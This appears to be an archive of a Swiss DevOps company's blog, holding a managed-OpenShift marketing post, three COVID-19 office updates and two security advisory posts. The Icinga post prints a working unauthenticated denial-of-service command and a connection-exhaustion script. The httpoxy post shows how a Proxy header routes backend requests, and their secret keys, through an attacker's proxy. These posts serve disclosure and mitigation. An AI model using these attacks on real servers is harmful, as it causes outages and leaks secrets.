Uncategorized

Thriving in a Zeitgeist Market

8. Mar 2022

We are living in the Roaring New Twenties. Software is eating the world, just like Marc Andreessen predicted, and every company has become a software company, following the forecast of Forbes Magazine. This new world of software runs natively in the Cloud, or better yet, in its modern embodiment, Kubernetes.

Companies of all sizes are moving towards the Cloud, deploying applications faster through DevOps, opening new markets, and exploring new possibilities. In the most innovative industries, OpenShift has been chosen as the de facto Kubernetes-based platform for business applications. Thanks to its integration of CI/CD processes, user management, enterprise integrations, and developer-friendly features, OpenShift supports the new wave of financial innovation. Couple that with the trust of big names such as Red Hat and IBM, plus guaranteed support and updates, no wonder it has become the new standard.

But how can you differentiate your offering from your competition in such a Zeitgeist market, or, as Kim and Mauborgne named it in 2004, a “Red Ocean” of competitors and industries? Simply put, through innovation and high value products. You must relentlessly focus on your core competencies more than ever, and in software terms, that means listening to your customers, and keeping an eye on your own capacity to deliver new features.

Businesses find it hard, however, to break new ground when their development teams are busy operating -or fixing- infrastructure issues every day; backups, updates, monitoring; all essential tasks, but taking a toll on your team morale and your finances.

VSHN, the DevOps company, helps smart businesses by taking care of the maintenance of their OpenShift platforms, so that they can build the next big idea. Just like Acrevis did; with 8.4 billion CHF assets under management and 146 full-time employees, Acrevis provides IT services to other fintech players, and VSHN makes sure that it all just works, 24/7, 365 days a year.

Every company has different needs; some must operate within the Swiss borders, for legal or other reasons, and might thus be tempted to choose to run their own expensive on-premises infrastructure. This was the case of Neon (the first independent bank account app of Switzerland, where everything is done comfortably from your smartphone.) Nowadays, not only does VSHN take care of Neon’s OpenShift clusters, managed by a Swiss team certified by FINMA, ISO, and ISAE; we also make sure that their operations and data stay safely in Switzerland.

Last but not least, we have helped companies migrate their applications to OpenShift; and we can do that for you too. But do not take our word for it; see what we did for esurance or CreditGate24, just to name a few of the success stories experienced by our customers.

Do not let the Zeitgeist of the Cloud drown your business in a “Red Ocean” of competition and operations. Get in touch with VSHN today and let us help you shape the future of your business.

Markus Speth

Markus is VSHN's CEO and one of the General Managers.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Uncategorized

More about our Coronavirus disease 2019 (COVID-19) Measures

17. Mar 2020
Following the press conference held by the Federal Council yesterday afternoon about the Coronavirus disease 2019, we would like to provide an update to our blog post from last week, and talk about its impact on our daily operations.
We are sticking to the points mentioned last week in order to provide our customers with services to the usual extent. Given the latest measures decided by the authorities, we have decided to:

  • Home office: given the nature of our work, all VSHNeers are working from home starting Monday, March 16th, 2020.
  • Practicing social distancing: all personal meetings which are not absolutely necessary are to be postponed or to be held remotely.
  • Closely following the hygiene measures recommended by the Federal Office of Public Health.

We would like to remind everyone about the need to stay at home, to follow basic hygiene measures, and to stay informed. Those are the most important factors to prevent the spread of the disease at this stage. Let’s all please take care of one another! It goes without saying that we uphold our commitment to quality, SLAs, and 24/7 level of support to all our customers.
We will post more news here in the following days as needed. In the meantime, do not hesitate to contact us if you have any questions. For further detailed information, you can also have a look at our handbook.

Adrian Kosmaczewski

Adrian Kosmaczewski is in charge of Developer Relations at VSHN. He is a software developer since 1996, a trainer, and a published author. Adrian holds a Master in Information Technology from the University of Liverpool.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Uncategorized

Update on Coronavirus disease 2019 (COVID-19) Measures

13. Mar 2020
Following the press conference held by the Federal Council this afternoon about the Coronavirus disease 2019, we would like to provide an update to our blog post from last week, and talk about its impact on our daily operations.
We are sticking to the points mentioned last week in order to provide our customers with services to the usual extent:

  • Closely following the hygiene measures recommended by the Federal Office of Public Health, and making those recommendations very visible to everyone in our office.
  • Asking all VSHNeers to take their laptops with them at the end of the working day. This would enable them to work from home, in case authorities decided to increase the level of protection measures.
  • Asking all VSHNeers to stay at home if they feel sick, have high temperature, or have excessive coughing and sneezing symptoms.
  • Avoiding all unnecessary trips, in particular to more heavily exposed regions.

Given the severity of the situation, we have decided the following:

  • We ask all VSHNeers to work from home starting next week, whenever possible. As stated in our blog post last week, the very nature of our business makes this a natural step for all VSHNeers.
  • We will not hold any person-to-person meetings, neither in our offices nor at our customers’. We ask our customers to do such meetings online, and VSHN can provide the necessary infrastructure.

We would like to remind everyone about the need to stay informed, and to follow basic hygiene measures. Those are the most important factors to prevent the spread of the disease at this stage. Let’s all please take care of one another! It goes without saying that we uphold our commitment to quality, SLAs, and 24/7 level of support to all our customers.
We will post more news here in the following days as needed. In the meantime, do not hesitate to contact us if you have any questions.

Adrian Kosmaczewski

Adrian Kosmaczewski is in charge of Developer Relations at VSHN. He is a software developer since 1996, a trainer, and a published author. Adrian holds a Master in Information Technology from the University of Liverpool.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Uncategorized

Coronavirus disease 2019 (COVID-19) Measures at VSHN

6. Mar 2020
VSHN is closely following the evolution of the Coronavirus disease 2019. To ensure the high level of service our customers expect, we have established a few internal recommendations for all VSHNeers to pay attention to. These include:

  • Closely following the hygiene measures recommended by the Federal Office of Public Health, and making those recommendations very visible to everyone in our office.
  • Asking all VSHNeers to take their laptops with them at the end of the working day. This would enable them to work from home, in case authorities decided to increase the level of protection measures.
  • Asking all VSHNeers to stay at home if they feel sick, have high temperature, or have excessive coughing and sneezing symptoms.
  • Avoiding all unnecessary trips, in particular to more heavily exposed regions.

Given the nature of our business, at VSHN we do not depend on a particular office location to run our business. We have years of practical experience with home office setups and remote work accommodations, and as such we are perfectly prepared to work under these circumstances.
We believe that staying informed, and following basic hygiene measures, are the most important factors to prevent the spread of the disease at this stage. We are committed to the highest availability of the systems we manage, to the well-being of society at large, and to the health of our VSHNeers in particular.
We will post more news here in the following days as needed. In the meantime, do not hesitate to contact us if you have any questions.

Main entrance of VSHN’s offices (Neugasse 10, 8005 Zürich) with official recommendations

Adrian Kosmaczewski

Adrian Kosmaczewski is in charge of Developer Relations at VSHN. He is a software developer since 1996, a trainer, and a published author. Adrian holds a Master in Information Technology from the University of Liverpool.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Uncategorized

Icinga 2.8.2 resolves multiple security vulnerabilities

22. Mar 2018

While working as a Site Reliability Engineer things might occur which shouldn’t be. That’s just how it was in mid-January 2018 while working on a personal project to set up an Icinga2 installation. I tried using the Icinga2 scripting language console to call an internal function on a CheckCommand object:

get_check_command("dummy").execute(null, null, null, false)

Surprisingly this led to a crash of the Icinga2 daemon due to dereferencing a NULL pointer. A cursory look at the source code confirmed my suspicion that this and other functions callable from scripts don’t verify their parameters as they should.

Gentlemen, you had my curiosity. But now you have my attention.

My interest was piqued so I went on to attempt to provoke the NULL pointer dereference via the Icinga2 API. Unfortunately I didn’t find a way without an authenticated user with the “console” permission granted.
Shortly after this I found a series of problems, all triggerable via a network connection and which can be classified as Denial of Service (DoS). Multiple API endpoints wouldn’t verify their parameters before dereferencing. The following code doesn’t require any authentication and causes all Icinga versions before 2.8.2 to terminate:

msg=$(jq --null-input --compact-output --raw-output '{
  "id": "foo",
  "jsonrpc": "2.0",
  "method": "event::Heartbeat",
  "params": null
}') && \
{ sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \
openssl s_client -connect 192.0.2.1:5665

All cases I found are documented in my security advisory. A few require a client certificate, others require a specific master/client constellation.
While reading the code I also found ways to provoke the Icinga2 server to consume unbounded resources, primarily RAM. The following piece of Python code opens a large number of TCP connections. Each starts a new thread in the Icinga2 daemon which along with its associated stack consumes a certain amount of RAM. The connections are left untouched and never terminated.

import resource
import socket
import time
resource.setrlimit(resource.RLIMIT_NOFILE, (131072, 131072))
conn = []
while True:
    try:
        conn.append(socket.create_connection(('192.0.2.1', 5665)))
    except BaseException as err:
        print(err)
        break
print(len(conn))
while True:
    time.sleep(1)

Depending on the amount of available resources on the server the Linux kernel’s OOM killer will soon terminate the Icinga2 daemon, resulting again in denial of service.
What I also found was that passwords are compared with std::string::operator==. That function, just like its C equivalent strcmp, terminates as soon as it finds a difference. An attacker can use slight timing differences to carry out a side-channel attack.
I have published a technical advisory with full details on the security issues in Icinga 2.8.1 and older on my personal website. Version 2.8.2 of Icinga resolves these and a few others. VSHN has updated Icinga2 on all customer systems already.

michael.hanselmann

Michael (hansmi) ist VSHNeer und Site Reliability Engineer

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Uncategorized

httpoxy, or how an innocent HTTP header leads to security vulnerabilities

25. Jul 2016

On July 18, 2016 a class of vulnerabilities named httpoxy was released. We have analyzed the impact on our own infrastructure and for our customers and are in the process of mitigating the issue.

What is httpoxy?

httpoxy is a set of vulnerabilities affecting application code invoked via the Common Gateway Interface (CGI), or running in CGI-like environments. Any header sent as part of an HTTP request is transformed into an environment variable named HTTP_${header-in-uppercase}. For example, the User-Agent: header becomes HTTP_USER_AGENT. httpoxy describes a case where the Proxy: request header is stored in HTTP_PROXY.
The vulnerability originates from the fact that the standard variable defining an HTTP proxy on Unix systems is named http_proxy in lower-case. Proxies for other protocols are passed in variables named using the same scheme, for example ftp_proxy for the File Transfer Protocol or gopher_proxy for Gopher.

Unix, Windows, and case-sensitiveness

Most if not all of VSHN’s own infrastructure and customer machines run on Unix-like systems, predominantly Linux. These systems treat environment variables in a case-sensitive fashion, unlike the Microsoft Windows® family of operating systems.

$ http_proxy=lower HTTP_PROXY=upper \
> bash -c 'echo "$HTTP_PROXY" "$http_proxy"'
upper lower

Unfortunately not all programs and libraries observe the platform-specific behaviour. The Python library requests, for example, does not by reading a proxy from HTTP_PROXY even though the standard variable would be http_proxy:

$ http_proxy=http://proxy.example.net HTTP_PROXY=evil.example.com \
> python3 -c 'import logging, requests;
> logging.basicConfig(level=logging.NOTSET);
> requests.get("http://vshn.ch")'
INFO:urllib3.connectionpool:Starting new HTTP connection (1): evil.example.com
[…]

If a website uses the requests library for internal backend requests those requests can be redirected:

$ curl -v --header 'Proxy: evil.example.com'
[…]
> GET / HTTP/1.1
[…]
> Proxy:
[…]

Assuming the request URL is handled by code invoked via CGI, FastCGI or a similar technology it’ll receive an environment variable named HTTP_PROXY with the value and, assuming the code or libraries used are vulnerable, make requests via that proxy.
The httpoxy website lists more examples and CVEs. More are likely to be found in the coming hours, days and weeks.

Practical demonstration

Consider a plain old CGI script:

#!/usr/bin/python3
import os
import requests
print("Status: 200")
print("Content-type: text/plain")
print()
print(dict((k, v) for (k, v) in os.environ.items() if k.lower() == "http_proxy"))
print("---")
url = "http://backend.example.com/?secret_key=lZLx60gP"
try:
  print(requests.get(url).text)
except Exception as err:
  print("Error: {}".format(err))

Now consider that the attacker controls an HTTP proxy at 192.0.2.33 on port 3128 (the default port for the squid proxy server) and makes a request as follows:

curl -H 'Proxy: ' -v

The resulting request to the backend will be proxied through the attacker’s proxy. An excerpt from the proxy logs:

TCP_MISS/504 1617 GET  - DIRECT/backend.example.com text/html

Considering that this is an invalid example URL, an error message is received from the proxy server:

$ curl -H 'Proxy: ' -v
[…]
> GET /cgi-bin/contact.py HTTP/1.1
> User-Agent: curl/7
> Accept: */*
> Proxy:
>
< HTTP/1.1 200 OK
< Date: Mon, 25 Jul 2016 13:58:50 GMT
< Content-Type: text/plain
<
{'HTTP_PROXY': 'http://192.0.2.33:3128'}
---
[…]
<p>The following error was encountered while trying to retrieve the URL:
<a href="http://backend.example.com/?">http://backend.example.com/?</a></p>
[…]

In reality the proxy server could have stored the secret key, or it could have modified the response.

Mitigation

Until updated applications and libraries are available and deployed web servers should remove the Proxy header in requests. This is not expected to have any impact as the Proxyheader is undefined by the IETF and is not listed on IANA registry of message headers either, meaning the header is not used by any standard. Custom headers were supposed to be prefixed by X- since at least 1996 until the practice was deprecated by RFC 6648 in 2012.
It is also important to deploy such mitigation efforts as sometimes third-party applications ship with old and/or vulnerable libraries or unsafe configurations.
The httpoxy website publishes a number of configuration snippets showing how to remove the Proxy header from requests in various web servers and related programs. They also provide snippets for application and library developers to help them avoid the issue altogether.

Conclusion

We strongly recommend implementing stripping of the Proxy header in edge HTTP servers and proxies. Every public-facing HTTP server should have the mitigation implemented and it doesn’t hurt to implement it in backend servers, too.
Now that the vulnerability has been published it’s only a question of time until it’s exploited in an automated fashion.
Even if a given website and application may not use an affected library now–and that’s very difficult to ascertain–it may in the future. Not all projects keep third-party libraries up-to-date.

michael.hanselmann

Michael (hansmi) ist VSHNeer und Site Reliability Engineer

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us